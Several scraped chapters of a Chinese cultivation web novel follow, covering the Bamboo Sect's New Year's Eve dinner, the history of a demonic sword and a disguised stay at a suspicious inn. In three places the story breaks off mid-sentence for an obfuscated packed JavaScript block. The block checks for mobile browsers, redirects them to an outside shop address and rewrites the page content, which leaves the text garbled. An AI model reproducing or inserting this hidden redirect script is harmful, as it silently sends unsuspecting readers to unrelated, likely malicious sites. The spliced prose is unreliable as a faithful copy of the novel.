“好啦好啦,不闹你了。”叶傅宁见好就收,笑嘻嘻地端了盘凉菜出去,“小气。” 沈怀逸气得直跺脚,转头却发现祁燕雪不知何时回来了,正默默把新煮好的饺子往桌上端,脸上带着带着淡淡的笑意。 “饺子好了吗?”东方疏影看着菜被叶傅宁从厨房里端出来后终于起身,慢悠悠踱进屋里,“开饭吧。” 堂屋里,一张八仙桌摆得满满当当。热气腾腾的饺子、一道红烧鱼、一道酱肘子、一道清蒸猪蹄、还有别的炒菜,还有一壶专门给师傅温好的屠苏酒。红烛高照,映得每个人脸上都红彤彤的。 叶傅宁坐在主位旁边,左手边是东方疏影,右手边是陆瑶卿。祁燕雪和沈怀逸坐在对面。 叶傅宁举起酒盏,眼睛亮晶晶的扫过每一个人:“来来来,先干一杯!” “干杯——” 陆瑶卿是响应最快的那一个,举着酒杯恨不得蹦起来。祁燕雪默默端起杯子,沈怀逸一脸嫌弃地也举了起来,东方疏影依旧慢悠悠的,但酒盏还是凑了过来。 “叮”的一声脆响,五只杯子碰在一起,酒水轻轻晃荡,映着灯影。 叶傅宁一口饮尽,哈出一口带着酒香的暖气,眉眼弯弯地开了腔: “我先说我先说——前年呢,我们迎来了新成员怀逸!”她伸手朝对面一指,笑得促狭,“我和燕雪有了这个小奶妈之后,生活质量可以说是飞跃式提升!以后受伤都不用怕了,反正有人哭着给我们包扎——” “谁哭了!”沈怀逸立刻炸毛,脸颊却不受控制地泛起薄红,“叶傅宁你少贫嘴!” 祁燕雪在一旁默默点了点头,用实际行动表示了赞同。沈怀逸瞪他:“师兄你点什么头!” 叶傅宁笑得直抖,好一会儿才稳住,继续发表感言:“而前一阵儿呢,又多了瑶瑶这个可爱的小宝贝!”她偏头看向身侧的陆瑶卿,眼里满是柔软的光,“咱们竹宗又添一员大将!” 被点到的陆瑶卿立刻坐直了身子,小脸因为欢喜而泛起粉色。她转头看向叶傅宁,玫红色的眼眸里是全然的认真和坚定: “我许愿永远和姐姐在一起!”她顿了顿,声音软下来,却一字一句,“还有……我一定会好好努力的,会成为那个能保护师姐的人。” 叶傅宁看着师妹认真的模样,心里软得一塌糊涂。她伸手,轻轻揉了揉陆瑶卿的发顶:“好,师姐等着。” 陆瑶卿满足地眯起眼,整个人都快融进她掌心里。 叶傅宁收回手,清了清嗓子,继续道:“希望在新的一年里,咱们五个一个都不要少,都好好的。” 她看向对面,浅绿色的眼眸里带着促狭的笑意:“燕雪呢,话能多点——虽然不说话也挺可爱的,但多几句更可爱。怀逸呢,少生点气,本来就长得好看,老皱眉头容易长皱纹。” “你——”沈怀逸又要发作,被她抬手按下。 “还有,”叶傅宁拖长了调子,忽然转头看向身边那位正懒洋洋抿酒的人,笑得一脸谄媚,“师傅,能不能给我们的债务……打个折?” 东方疏影微微抬眸,妖冶的赤红色眸子里映着烛光,薄唇轻轻勾了一下。 他没说话,但那眼神分明写着——“想得美”。 叶傅宁立刻垮下脸,引来陆瑶卿一阵咯咯笑。 “行了行了,该你们说了。”叶傅宁放下酒杯,看向对面的两人,“怀逸先来?” 沈怀逸先是别过脸,似乎有些不自在,但最终还是举起杯,声音比平时低了些: “我也没什么大愿望。就希望大家平平安安的,别老有人受伤让我操心。”他顿了顿,声音逐渐小下来,“还有……家里那边,希望今年能好好说上话吧。” 他说得轻描淡写,但谁都知道那“家里”二字的分量。叶傅宁没有插科打诨,只是看着他,眼神柔和。 祁燕雪接着开口,声音依旧清冷,却一字一句说得认真:“愿大家都平安。师姐……”他看向叶傅宁,“少受伤。债务早日还清。” 他顿了顿,似乎在斟酌措辞,最后轻轻地说:“我会努力变强,和师姐并肩。” 叶傅宁对上他的目光,笑着举起杯,隔空和他碰了一下:“那就这么说定了。” 东方疏影最后开口,他依旧那副懒洋洋的模样,晃了晃杯中酒:“新的一年,麻烦少一点,清静多一点。” “师父您这也太敷衍了!”叶傅宁抗议。 “这叫返璞归真。”东方疏影难得弯了弯唇角,“干杯。” “干杯!”酒杯相碰,发出清脆的声响。 吃了一会儿,陆瑶卿开始往叶傅宁那边蹭: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305048|198681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “姐姐,尝尝这个。”她夹起一块酱牛肉,往叶傅宁嘴边送。 叶傅宁张嘴接了,嚼了嚼:“嗯,不错。” “还有这个!”陆瑶卿又夹了一筷子凉拌菜,“这个也好吃!” “瑶卿,你自己也吃。” “我看着姐姐吃就饱了~” 对面,沈怀逸默默低头扒饭,假装没听见这腻腻歪歪的对话。他那两个白色的小绒球随着低头的动作垂下来,蹭在脸颊边上,有点痒。 叶傅宁倒是习惯了,任由小师妹一口一口喂,偶尔还点评两句。陆瑶卿乐得眼睛弯成月牙,恨不得把整桌菜都喂进叶傅宁嘴里。 “唔——!”叶傅宁忽然捂住嘴,表情古怪。 “怎么了?”陆瑶卿紧张起来。 叶傅宁吐出一枚铜钱,哈哈大笑:“我吃到铜钱了!” “师姐运气真好。”祁燕雪也乐了,“新的一年肯定大吉大利。” 陆瑶卿立刻凑上去:“姐姐分我一半好运嘛~” 叶傅宁笑着把钱塞给她,又抱着她一顿蹭:“姐姐的福气都给我们瑶瑶!”陆瑶卿攥着那枚铜钱,被蹭的咯咯笑。 姐妹情深的模样让旁边三位男同志没眼看,但谁都没有说什么,嘴角还不约而同的带着淡淡笑意。 酒足饭饱,叶傅宁忽然站起来,跑到东方疏影面前,双手一伸:“师父父!过年啦!恭喜发财,红包拿来!” 她这一喊,其他几人也反应过来,纷纷凑上前。 沈怀逸站在叶傅宁身后,虽然没开口,但目光也落在东方疏影身上。祁燕雪默默靠近,站在叶傅宁另一侧。陆瑶卿更是直接挤到叶傅宁旁边,和她一起伸手。 东方疏影靠在椅背上,看着面前四个徒弟,懒洋洋地挑了挑眉: “红包?” “对呀对呀!”叶傅宁眼睛亮晶晶的,“过年长辈都要给小辈发红包的!您忘了?” 他闻言嗤笑一声,手指撑着额角看向叶傅宁:“你们欠为师一大笔丹房的钱没还,如今还倒反天罡管为师要起压岁钱了?” 叶傅宁不满地撇了撇嘴:“师父~这是规矩!您每年都给的!” 东方疏影被逆徒缠的没办法,只能慢悠悠地从袖中摸出四个红包。三个薄薄的,一个——鼓鼓囊囊,明显厚很多。 他把那三个薄的红包依次递给沈怀逸、祁燕雪、陆瑶卿,然后捏着那个最厚的,看向叶傅宁。 叶傅宁眼睛都亮了,手伸得更长:“我的我的!” 东方疏影却把手收了回去,慢条斯理地说: “想要?” 叶傅宁使劲点头,如果身后有尾巴的话此刻一定是在拼命摇动。 “那说句好听的。” 叶傅宁眼珠一转,立刻凑上去,笑得像只偷腥的小狐狸:“师父最好看了!师父最厉害了!师父是全天下最好的师父!师父新年快乐,万事如意,心想事成,寿与天齐——” “行了。”东方疏影被她这一串不要钱的吉祥话逗笑了,终于把那个厚厚的红包放进她手心,“拿着吧。” 叶傅宁接过红包,捏了捏那厚度,眼睛瞬间睁大:“这也太厚了吧!” 东方疏影懒洋洋地瞥她一眼,没说话,但唇角那抹若有若无的笑意,分明写着“知道就好”。 沈怀逸看看自己薄薄的红包,再看看叶傅宁手里那个厚的,轻轻哼了一声,却没说什么。偏心就偏心吧,反正也不是第一天了。 祁燕雪默默收好自己的红包,目光在叶傅宁欢喜的脸上停下,嘴角弯了弯。 陆瑶卿倒是完全不在意,反而替叶傅宁高兴:“姐姐的红包好大!师傅果然最喜欢姐姐!” 叶傅宁得意地晃了晃红包,然后冲东方疏影做了个鬼脸:“谢谢师父!明年我还来要!” 东方疏影靠回椅背,阖上眼,嘴角却始终带着一丝笑意。 夜深了,竹宗小院里的灯还亮着。 桌上杯盘狼藉,陆瑶卿已经困得靠在叶傅宁肩上打盹。祁燕雪起身收拾碗筷,沈怀逸默默帮忙。东方疏影依旧靠在椅背上,不知是真睡了还是假寐。 窗外,雪花不知何时飘落下来,轻轻覆在竹影之上。屋内的烛光透过窗纸,将五人的影子融在一起,模糊了界限,只剩下融融暖意。 东方疏影忽然抬手,弹出一道灵力,将窗外的雪花卷了几片进来,落在窗台上,晶莹剔透。 “新年了。”他懒懒开口。 “新年快乐!”众人齐声。 这一年的除夕,便在这声声祝愿里,静静流淌过去。 明年,后年,岁岁年年。 愿竹宗五人,岁岁常相见,年年共此时。 24. 旧剑尘封藏往事,竹宗烟火岁月长。 接上回: 他没有贸然用手直接触碰剑身,而是从怀中取出一块干净的素白布帛,小心翼翼地将魔剑包裹起来,仔细检查了一下剑身,才将其重新放入木盒中,最后将木盒放置在一个远离杂物、稳固的墙角。 整个过程他做得一丝不苟,神情专注。 沈怀逸看着他的动作,又回想起当初在南茗村,那时自己初遇师姐师兄,还刚离家出走没有加入玄苍派,面对河水被污染、村民昏聩的景象还心有余悸,忍不住开口,声音里还带着一丝好奇: “这剑……到底是从哪里来的?为什么会有那么……邪门的力量?” 叶傅宁见危机解除,也松了口气,走到陆瑶卿身边,拍了拍她身上的灰,轻轻捏了捏她的脸颊作为安抚。 然后才向不知事情经过的她和师弟解释道:“这剑的主人,原本也是个修仙之人。可惜,执念太深,心生魔障,没能扛过去,最终堕入了魔道。”她的语气也认真了些。 “魔道?”陆瑶卿眨了眨眼,她出身富贵,对修仙界的了解并不多。 “嗯,”叶傅宁点点头,借此机会向她普及起来,“这世上的力量,大致分三种。我们修仙者修炼的是灵气;山野精怪、草木鸟兽若能开启灵智,修炼成形,便是妖,所用的是妖气;而最麻烦的,就是这魔。” 她顿了顿,继续说道:“魔并非外族,它源于我们内心。无论是人是妖,若心志不坚,被贪婪、憎恨、执念这些负面情绪吞噬,便可能滋生心魔。心魔一旦壮大,就会扭曲人的神智,让人变得偏激、疯狂,害人害己,这便是入了魔道。” “所以说,人最大的敌人其实是自己。” “这柄剑的前主人便是如此,后来他被一位飞燕门的高人斩杀,但这柄剑常年浸染在他的魔气之中,早已变得邪异。它落入南茗村的那条河里,魔气便污染了水源,才导致了之前那些村民昏聩、癫狂的症状。” 见陆瑶卿听得认真,叶傅宁耸耸肩,语气带着些不以为意:“飞燕门嘛,你知道的,他们对付魔道的手段向来是出了名的...干脆利落。” 她没说的是,飞燕门与玄苍派在处置入魔者的问题上理念素有不合,飞燕门门主张“除恶务尽”,而玄苍派更倾向于“渡化为先”。 “所以魔……其实是自己产生的?”陆瑶卿有些明白了。 “可以这么说。”叶傅宁叹了口气,“近年来,不知为何,误入魔道的人越来越多了。各大门派都在想办法应对。不过方法不一样,有些门派觉得魔人无可救药,见了就直接斩杀;像我们玄苍派,则倾向于先控制住,看看能不能帮他们驱散心魔,恢复神智。” 她说着,脸上露出一丝无奈,“为了这事,各门派之间没少吵架。” 陆瑶卿听后若有所思地点了点头,沈怀逸也终于知道了那柄剑的来历。 只是叶傅宁说完后眼神复杂地看了一眼自己的二师弟祁燕雪,当年他家遇难的事,恐怕也是坠入魔道的人所为。 祁燕雪似有所感,抬起头,与师姐对视一瞬,随即又默默低下头,继续擦拭手边一个积灰的架子,只是动作似乎更慢了些。 经此一遭,库房内的气氛也沉淀了许多。四人不再玩闹,默默加快了打扫的速度。 当最后一片角落被清理干净,夕阳的余晖恰好透过高窗洒入库房。四人看着焕然一新的库房,虽然疲惫,却也颇有成就感。 “总算搞定了!”叶傅宁伸了个懒腰,脸上重新露出笑容,大手一挥,“走!该吃晚饭了!明早再下山!” 夕阳西下,竹宗小院飘起袅袅炊烟。今日轮到祁燕雪掌勺,厨房里传来规律的切菜声。 “师父——!吃饭啦!再不来小雪做的红烧肉要被我们吃光啦!”叶傅宁朝着竹玉楼二层敞开的窗户喊道。 不一会儿,东方疏影慢悠悠地踱步而来,在餐桌主位坐下。一家五口,总算齐整。 饭菜上桌,依旧是简单的三菜一汤,但胜在清爽可口,尤其是那盘红烧肉,色泽油亮,香气扑鼻。 “哇!小雪!不愧是你!”叶傅宁眼睛放光,立刻夹了一大块肉放进嘴里,满足地眯起眼,“嗯!好吃!手艺又进步了!” 陆瑶卿也小口尝了尝,虽然觉得比起家中厨子还差些火候,但看到叶傅宁喜欢,便也乖巧地说:“好吃。”语气礼貌,但远不如对叶傅宁那般热情,脸上明明白白写着“你让我夸是因为你沾了师姐的光”。 沈怀逸一边给祁燕雪碗里夹了块最大的肉,一边真心实意地夸赞:“师兄,你做饭越来越好吃了!这肉炖得真入味!”语气里的崇拜毫不掩饰。 祁燕雪被沈怀逸夸得有些不好意思,默默给他夹了一筷子青菜:“多吃蔬菜。” 沈怀逸受宠若惊:“谢谢师兄!” 东方疏影姿态优雅地尝了一口,点评道:“尚可。”能得到他这两个字的评价,已属难得。 饭至半酣,叶傅宁像是突然想起什么,放下碗筷,邀功道:“师父!库房我们可都打扫干净了!里里外外,一尘不染,连蜘蛛网都清了!您不去检查检查?” 东方疏影连眼皮都懒得抬,慢条斯理地夹着一根青菜:“嗯,知道了。” 叶傅宁不甘心:“真的特别干净!尤其是放那柄剑的角落,我们又仔仔细细清扫了一遍,保证稳妥!” “嗯。”依旧是一个单音节。 沈怀逸忍不住加入,试图帮师兄和自己争取点好感:“师傅,我们忙了一下午,二师兄更是出力最多……” 东方疏影终于微微掀开眼帘,瞥了他们一眼,慢悠悠地道:“打扫自家库房,不是分内之事?莫非还要为师给你们发个‘劳动标兵’的奖状?再给几颗糖吗?” “……”行吧,您说得对。 两人刚偃旗息鼓,东方疏影却像是突然来了兴致,目光落在叶傅宁身上,唇角勾起一抹似笑非笑的弧度,慵懒开口:“不过,若真论‘标兵’……宁宁下午那‘弹琵琶’的架势,倒也算独树一帜,精神可嘉。” 正在喝汤的沈怀逸差点呛到,肩膀可疑地抖动起来。 叶傅宁的脸瞬间爆红,脚趾尴尬地抠地:“师、师父!您怎么偷听!” “嗯?”东方疏影挑眉,一脸无辜,“你们在库房里闹出那么大动静,又是嚎又是笑的,整个竹宗都听见了,为师想不听见也难。” “师父!”叶傅宁脸涨得通红,“我那是在怀念童年!在重温您教我的琵琶指法!” “嗯,怀念童年。”东方疏影从善如流地点点头,眼神里的戏谑却更明显了,“姿势倒是挺怀念的,至于那指法……为师记得当年教你的可不是那样。” 叶傅宁更窘了:“那是……那是弦断了!对,弦断了三根,所以弹出来不太准!” “哦,弦断了。”东方疏影慢悠悠地喝了口茶,“那后来从箱子上摔下来的那一跤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他想着想着,忽然开口:“师姐,你要是想练琵琶,我可以帮你修那几根弦。” 叶傅宁一愣,看向他。 祁燕雪的耳朵微微泛红,却还是认真地说:“我看过琴行的师傅修琴,应该……可以试试。” 叶傅宁眼睛一亮:“真的?” 祁燕雪点点头。 “小雪!你太好了!”叶傅宁差点又要扑过去,被陆瑶卿眼疾手快地拽住。 陆瑶卿警惕地看着祁燕雪,又看了看叶傅宁,最后小声说:“那我也帮忙。让弦更耐用。” 沈怀逸在旁边看着这一幕,忍不住吐槽:“你们这是要组乐队吗?” 叶傅宁扭头看他:“怎么,你有意见?” 沈怀逸别过脸:“……没意见。你们开心就好。” 他在心里默默叹了口气,觉得这个宗门吃枣药丸。 东方疏影看着这几个徒弟,眼底的笑意更深了,他放下筷子,站起身,慢悠悠地往自己房间走去。 饭后,祁燕雪默默地收拾碗筷,动作一如既往地细致。 陆瑶卿拉着叶傅宁的手,还在小声说着什么“姐姐下次弹琵琶叫我”“我给你画画”。 沈怀逸揉着吃撑的肚子,默默往自己房间走。 夜色渐深,竹宗小院重归宁静。 本回正是: 旧剑尘封藏往事, 琵琶新梦暖心房。 姐妹同心抗世俗, 竹宗烟火岁月长。 各位客官欲知这下山行的任务能否顺利完成?祁燕雪的家庭曾经经历过什么?且听下回分解! 27.一入客栈疑云起,邪佛含笑待客来。 接上回: 午后的阳光懒洋洋地洒在落水镇的土路上,镇东一间僻静的废弃农舍里,经过一番鸡飞狗跳的“装扮”,四个人影终于扭扭捏捏地走了出来。 叶傅宁换上了一身料子稍好、但样式已过时的藕荷色碎花裙,头发挽了个略显老气的妇髻,插了根素银簪子,脸上还被陆瑶卿硬抹了点可疑的胭脂,正努力扮演着一位“勤俭持家但风韵犹存”的年轻母亲。 她腰间用布条小心地裹住了佩剑,藏在裙下,整个人看起来颇有几分村妇的架势——如果不看她那双滴溜溜转、时刻透着狡黠的眼睛的话。 祁燕雪则被套上了一件深蓝色的粗布长衫,头发也重新束过,尽量掩去那份出尘的冷清,努力向“沉默寡言、老实巴交的年轻父亲”靠拢。他的剑用布包了,伪装成随身行李。 那身粗布衣裳穿在他身上,竟也掩不住那份清隽,反而衬得整个人愈发干净,眼神清澈。 变化最大的当属沈怀逸和陆瑶卿。 沈怀逸那身矜贵的锦袍换成了半新不旧的靛蓝色短打,头上的铃铛发带和腰间的月牙玉佩自然都收了起来,力图增加“劳作”痕迹,扮演“憨厚兄长”。他一脸的生无可恋,活像一只被强行套上奇装异服的猫。 陆瑶卿则穿上了一套鹅黄色的粗布裙,头发梳成简单的双丫髻,长命锁和珠花都摘了,腰间的小腰包换成了一个旧布包,但里面依旧是各类符纸,整个人看上去活脱脱一副“家境尚可但已懂事帮衬的乖巧老幺”模样。 只是此刻,她正盯着祁燕雪,眼神冷得能结冰。 从刚才叶傅宁宣布“我当大娘子,小雪当我家男人”开始,她的目光就没离开过这个二师兄。 祁燕雪被她盯得有些不自在,下意识往叶傅宁那边靠了靠——这个动作让陆瑶卿的眼神更冷了。 凭什么? 凭什么是他? 这个闷葫芦,这个整天跟在姐姐后面的呆子,这个连话都说不利索的傻子——凭什么是他扮姐姐的男人? 陆瑶卿在心里恶狠狠地咒骂着。 长得一副狐媚子样,天天在姐姐面前晃来晃去,装得清清冷冷的,谁知道心里打的什么主意? 还有那个沈怀逸,也不是什么好东西,整天跟姐姐斗嘴,分明是故意引起她注意! 她看着祁燕雪那微红的耳尖,看着他那躲闪的眼神,心里更来气了。 装什么纯情!装什么害羞!分明是故意的! 她的拳头不自觉地攥紧,指节捏得吱吱响。 沈怀逸在旁边听见这声音,默默往后退了一步。 “噗——”叶傅宁看着沈怀逸的打扮,第一个没忍住。 沈怀逸气得想擦又不敢擦,忍不住吐槽:“叶傅宁!你绝对是故意的!还有,这什么打扮?还能再土点吗?!” 叶傅宁浑不在意地摆摆手:“土点好,土点不起眼!记住了啊,咱们是城郊做小本茶叶生意的宋家,我是宋宁氏,这是你爹宋大山。”她指了指祁燕雪,又指了指沈怀逸和陆瑶卿,“你是宋怀逸,这是你妹妹宋瑶儿。咱们是去邻县探亲,顺路住店。明白吗?” 沈怀逸闻言欲哭无泪地闭上眼,如果现在有根绳的话他恨不得马上就“荡秋千”。 祁燕雪依旧没什么表情,点了点头,神色平静:“记住了,师姐。” 叶傅宁一把挽住他的手臂,笑眯眯地说:“不对不对,现在开始要入戏!你现在应该唤我‘娘子’。来,说一遍?” 祁燕雪被她挽着手,身体微微一僵。他目光落在她挽着自己的那只手上,又抬起头呆呆的看着她,耳朵莫名有些发烫。 “……娘子。”他低声叫了一句,声音轻轻的,带着一点不自然的沙哑。 叶傅宁满意地点点头:“乖!走,出发!” 她挽着祁燕雪的手臂,大步往外走。 陆瑶卿跟在后头,盯着那只挽着祁燕雪的手,眼神冷得像刀子。 走出农舍没几步,她忽然加快脚步,从后面插上来,硬生生挤进了叶傅宁和祁燕雪中间。 “姐姐,我要挨着你走。”她不动声色的挤走祁燕雪,挽住叶傅宁的那只手臂,声音甜甜的。 叶傅宁愣了一下,随即笑了:“好好好,挨着我。” 祁燕雪被挤到一边,脚步顿了顿,看着陆瑶卿的背影,眼眸里浮起一丝茫然。 但他也没多想,只是默默地看了一眼师弟,确认没掉队后和他并肩跟在二人身后。 四人刚走出农舍没几步,迎面就跑来几个在巷口玩耍的孩童。 为首的是个虎头虎脑的小男孩,约莫七八岁,看见他们这身打扮,先是一愣,随即“噗嗤”笑出声来。 “娘!快来看!有妖怪!”他扯着嗓子喊,身后几个小跟班也跟着起哄。 沈怀逸的脸瞬间黑了。 叶傅宁尴尬地扯了扯嘴角,刚想说什么,就听见一个威严的声音从巷子另一头传来:“不得无礼!” 来人正是周镇长,他快步走过来,斥退了那几个孩童,转身冲四人拱手行礼:“几位……呃……”他一时不知该如何称呼这改头换面的四人。 叶傅宁反应快,立刻换上一副农妇的憨厚笑容,学着乡间妇人的语气:“哎呀,老丈莫要客气,我们就是过路的,想寻个地方住一晚。” 镇长愣了一下,随即明白过来,连连点头:“是是是,几位随我来,我带你们去镇上唯一的客栈。” 镇长身旁的中年男人是镇上的书记,一路上都在偷偷打量这几人。他压低声音对镇长说:“这几位……能行吗?看着也太年轻了些。” 镇长瞪他一眼:“别瞎说。” 书记讪讪闭嘴。 一路上陆瑶卿依旧紧紧挨着叶傅宁,目光时不时往后瞟一眼祁燕雪,带着毫不掩饰的审视。 祁燕雪对上她的目光,愣了一下,下意识露出一个友好的微笑。 陆瑶卿立刻收回目光,脸转向另一边。 祁燕雪更茫然了。 客栈离镇口确实有一段距离,坐落在镇子最东头,背靠一片小树林,前面是一条青石板路,两侧是稀疏的民居。 镇长把他们领到客栈门口,低声说:“就是这儿了。几位……多加小心。” 说完,他带着书记匆匆离开,像是怕被人看见似的。 叶傅宁抬头打量着这座客栈。 两层的小楼,灰瓦白墙,门楣上挂着一块褪色的匾额,写着“古道客栈”四个字。门口挂着两盏旧灯笼,灯笼纸已经泛黄,在午后的微风里轻轻摇晃。 普普通通的乡间客栈,看不出什么特别。 但偏偏就是这家客栈,全镇出事唯独它安然无恙。 叶傅宁回头和四人对视上一眼,推门而入。 客栈里比想象中整洁。 一楼的厅堂不大,摆着五六张方桌,此刻不是饭点,没什么客人。角落里有个柜台,柜台后面站着个中年妇人,正在低头算账。听见门响,她抬起头,看见有客人,眼睛瞬间亮了起来。 “客官!几位客官!”她几乎是跑着迎出来的,脸上的笑容真诚得让人心疼,“快请进快请进!是要住店吗?” 叶傅宁打量着这位妇人。 不到四十岁的年纪,衣着朴素干净,眼角有细细的皱纹,但眉眼间透着一股温婉和善。 “住店两日。”叶傅宁笑着说,“要两间房。” “两间房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318696|198681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”妇人高兴得声音都高了,“好好好!楼上正好有两间相邻的,干净敞亮!老头子!老头子!来客人了!” 后厨门帘一挑,走出个中年汉子,系着围裙,手里还拿着锅铲。他看见这四人,也愣住了,随即脸上露出和妇人一样的笑容。 “几位快坐快坐!”他搓着手,“赶路累了吧?先歇歇脚,晚饭我给你们做好吃的!” 沈怀逸被这突如其来的热情弄得有点懵,小声说:“不用这么麻烦……” “不麻烦不麻烦!”妇人已经拉着他们往桌边按,“难得有客人来,你们可得多住几天!” 她说着,眼眶微微泛红,但马上又笑起来,掩饰地擦了擦眼角。 叶傅宁和师弟师妹们交换了一个眼神,他们果然不知道外面发生了什么。 妇人领着他们上楼看了房间。 两间房都不大,但收拾得干干净净,被褥叠得整整齐齐,窗台上还摆着一小盆野花,显然是精心打理过的。 放完行李后回到楼下,四人在靠窗的桌边坐下。 妇人给他们端了壶热茶,又端上一碟花生米,笑吟吟地说:“几位先喝口茶歇歇,晚饭还得等会儿,我去帮老头子准备。” 叶傅宁连忙道谢,趁这机会开始四处打量。 柜台后面,靠墙的位置,摆着一个神龛。 神龛里供着一尊小小的观音像,但仔细一看,又不太像普通的观音。那观音的面容慈祥,嘴角带着一丝悲悯的笑意,可那双眼睛——那双眼睛是斜向上的,瞳仁细长,像蛇,又像某种不祥的东西。观音像通体漆黑,在昏黄的烛光下泛着幽幽的光。 底座上隐约刻着两个字。 叶傅宁眯起眼,想看清楚,却听见门口传来脚步声。 几个镇民从门口经过,往里面看了一眼,目光落在掌柜夫妇身上,带着毫不掩饰的敌意。其中一人还“呸”了一声,低声骂了句什么,快步走开了。 掌柜的站在后厨门口,看着那些人的背影,叹了口气。 妇人走过来,拍拍他的手,什么都没说。 叶傅宁看在眼里,心里有了计较。 她端起茶碗,装作不经意地问:“嫂子,我刚来的时候,听见镇上有哭声,是出什么事了吗?” 妇人的手顿了顿,脸上的笑容僵了一瞬。 掌柜的从后厨走出来,接过话头:“是……是镇上有人病了,怪病,一直不见好。” “怪病?”叶傅宁一脸关切,“什么怪病?请大夫看了吗?” 掌柜的摇摇头:“请了,没用。镇上好些人都得了这病,一睡不醒,醒着的也整夜做噩梦,人都熬干了。” 沈怀逸忍不住问:“那你们二位身体如何?” 妇人闻言苦笑了一下:“我们也不知道为什么,就是……没事。可能老天保佑吧。”她说着,往那神龛的方向看了一眼。 沈怀逸顺着她的目光看去,心里暗暗记下。 叶傅宁又问:“嫂子,你们在这镇上开客栈多久了?” 妇人想了想:“快二十年了。这客栈是从上一任掌柜手里接过来的,那时候我们刚成亲……” 她说着,脸上露出怀念的神色。 叶傅宁又问:“那……你们没有孩子吗?” 这话一问出口,空气忽然安静了。 本回正是: 粗布难掩清隽骨, 醋海翻波暗潮生。 一入客栈疑云起, 邪佛含笑待客来。 各位客官欲知这客栈夫妇与那尊邪佛有何关联,二人的亡子的故事里又有什么秘密,村民对夫妇俩的态度到底是因为什么,四人该相信哪一方,且听下回分解! 28.夜谈疑云层层现,传讯玉简报平安。 接上回: 妇人的眼眶瞬间红了,低下头去,不说话。 掌柜的叹了口气,走过来,揽住妇人的肩膀,冲叶傅宁说:“有过一个儿子。要是活着,也该和这位小兄弟差不多大了。”他看向沈怀逸,眼神里带着追忆和悲伤。 沈怀逸愣住了,不知道该说什么。 妇人擦了擦眼角,强笑道:“看我,说这些干什么。几位别介意,我去厨房帮忙。”说完匆匆走了。 掌柜的拍拍沈怀逸的肩,也转身进了后厨。 沈怀逸坐在那里,心情复杂。 叶傅宁若有所思地看着后厨的门帘。 她想起那些镇民说的“两口子心眼子多”“提防人”“不跟他们走动”。 再想想刚才那对夫妻被人敌视却默默承受的样子,总感觉是哪里不对劲。 夕阳渐渐西沉,掌柜的端上来的菜比想象中丰盛——一锅炖得酥烂的鸡汤,一盘红烧肉,几碟时令小菜,还有一大碗热腾腾的馒头。 “几位慢用,不够再添!”掌柜的笑呵呵地说。 沈怀逸看着那一桌子菜,有点受宠若惊:“这、这也太多了……” “不多不多!”妇人已经把筷子递到他手里,“多吃点,你太瘦了!” 叶傅宁看着这一幕,心里有了计较。 她的目光又转回桌上的菜肴,像是突然想到什么似的,嘴角勾起几分促狭的弧度。 她夹起一块红烧肉,放进祁燕雪碗里,笑眯眯地说:“当家的,多吃点。” 祁燕雪的耳尖又红了。他抬头看了一眼师姐含笑的双眸,又垂下眼,不敢看她,然后轻轻“嗯”了一声,低头默默吃肉。 叶傅宁看着他这副样子,心里乐开了花,又夹了一筷子菜放进他碗里:“当家的,这个也好吃。” 祁燕雪的耳朵已经红得快要滴血。他把脸埋得更低,几乎要埋进碗里,但还是乖乖地把那些菜都吃了。 妇人看着这一幕,露出姨母笑:“小两口感情真好。成亲多少年了?” 叶傅宁大大方方地回答:“十五年了。” “十五年?”妇人算了算,“那你们成亲挺早啊。这孩子……”她指了指沈怀逸,“是老大吧?” 叶傅宁面不改色地点头:“对,怀逸是老大,今年十五了。瑶儿是老幺,十四。” 妇人感叹:“成亲十五年,孩子都这么大了。你们真是……难得夫妻是少年啊。” 叶傅宁毫不在意地摆摆手,还故意往祁燕雪身上靠了靠:“那可不,我家当家的疼我,这么多年一直对我好。” 祁燕雪被她这么亲密的靠着,还是没有吱声,眼看那耳朵上的颜色开始蔓延到脸上,但还是努力维持着“老实巴交”的表情。 沈怀逸在旁边默默吃饭,心想:这米饭我怎么越吃越像狗粮呢? 突然,他听见一声细微的“咔嚓”声。 他转头一看,发现陆瑶卿正死死盯着祁燕雪,把筷子攥得紧紧的,指节捏得发白,木筷不堪重负,发出轻微的响声。 沈怀逸倒吸一口凉气,默默在心里为陆瑶卿对筷子和茶杯上香。 而她那双杏眼里,此刻没有半分平时对叶傅宁的娇软,只有冷冰冰的敌意。 这个狐媚子! 就会装乖卖巧! 姐姐给他夹菜,他还装害羞!装给谁看! 陆瑶卿在心里恶狠狠地骂着。 还有那个沈怀逸,也不是好东西!整天跟姐姐斗嘴,分明是故意引起她注意! 她的目光在两个师兄身上来回扫视,带着毫不掩饰的鄙夷。 两个贱人! 然后她开口了,声音软软的,带着一点撒娇的尾音:“娘~我也要你夹菜~” 叶傅宁愣了一下,转头看向她。 陆瑶卿眨巴着那双杏眼,一脸无辜地看着她,眼底的那点阴郁早就藏得干干净净。 叶傅宁笑了,直接夹了个大鸡腿放进她碗里:“好,娘给你夹。” 